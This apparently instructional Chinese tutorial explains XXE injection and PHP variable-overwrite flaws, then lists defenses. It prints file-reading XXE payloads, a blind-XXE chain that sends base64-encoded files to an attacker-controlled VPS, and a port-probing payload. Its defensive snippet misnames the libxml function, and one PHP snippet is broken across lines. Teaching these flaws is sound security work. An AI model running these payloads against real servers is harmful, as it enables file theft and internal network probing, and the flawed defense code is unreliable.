XXE和变量覆盖
字数 1264 2025-08-12 11:34:09
XXE与变量覆盖漏洞详解
XML基础与XXE漏洞
XML基础概念
XML(Extensible Markup Language)是一种可扩展标记语言,用于表示和传输结构化数据。XML文档结构包括:
- XML声明:
<?xml version="1.0" encoding="utf-8"?> - DTD(文档类型定义,可选)
- 文档元素
DTD(文档类型定义)
DTD用于定义XML文档的结构和约束,可以内嵌在XML文档中(内部引用)或外部引用。
内部实体声明语法:
<!ENTITY 实体名 "实体值">
外部实体声明语法:
<!ENTITY 实体名 SYSTEM "URI">
XXE(XML External Entity Injection)
XXE漏洞发生在应用程序解析XML输入时,允许引用外部实体,导致攻击者能够读取任意文件、执行SSRF攻击等。
基本XXE Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///path/to/file">
]>
<creds>&goodies;</creds>
XXE攻击类型
1. 有回显的XXE
当服务器将XML解析结果返回给用户时,可直接看到文件内容。
示例Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///C:/Windows/system.ini">
]>
<creds>&goodies;</creds>
2. 无回显的XXE(Blind XXE)
当服务器不返回解析结果时,需要通过外带数据方式获取信息。
攻击步骤:
- 在VPS上准备恶意DTD文件(command.dtd):
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps地址/%file;'>">
%all;
- 发送恶意XML请求:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://vps地址/command.dtd">
%dtd;
%send;
]>
3. 处理特殊字符
当文件包含特殊字符时,可使用PHP filter协议进行Base64编码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/path/to/file">
]>
<creds>&goodies;</creds>
4. XXE端口探测
利用XXE进行端口扫描:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "http://ip地址:端口/">
]>
<creds>&goodies;</creds>
- 端口开放:响应快
- 端口关闭:响应慢且可能报错
变量覆盖漏洞
1. register_globals
register_globals将GET、POST、COOKIE传入的变量注册为全局变量。传值顺序为GET→POST→COOKIE,后传入的会覆盖先传入的。
2. foreach导致的变量覆盖
foreach(['_GET','_POST','_COOKIE'] as $item) {
foreach(
$$
item as $key => $value) {
$$
key = $value;
}
}
这段代码会将所有GET、POST、COOKIE参数注册为变量,可能导致变量覆盖。
3. extract函数
extract()从数组导入变量到当前符号表,默认行为(EXTR_OVERWRITE)会覆盖已有变量。
参数选项:
EXTR_SKIP:跳过已存在变量EXTR_PREFIX_SAME:为冲突变量添加前缀EXTR_PREFIX_ALL:为所有变量添加前缀
4. parse_str函数
parse_str()解析字符串并设置为当前作用域的变量:
parse_str("name=value&arr[]=string+one&arr[]=string+two");
5. import_request_variables
在register_globals=Off时,将GET、POST、COOKIE变量导入全局作用域(PHP4 >=4.1,PHP5 <5.4)。
防御措施
XXE防御
lib_disable_entity_loader(true); // 禁止加载XML外部实体
变量覆盖防御
- 禁用
register_globals - 谨慎使用
extract(),设置安全参数 - 避免直接使用用户输入作为变量名
- 使用最新PHP版本(已移除危险函数)
总结
XXE和变量覆盖都是由于不当处理用户输入导致的安全漏洞。理解这些漏洞的原理和利用方式,有助于开发更安全的应用程序。防御的关键在于严格验证和过滤所有用户输入,禁用不必要的功能,并遵循安全编码实践。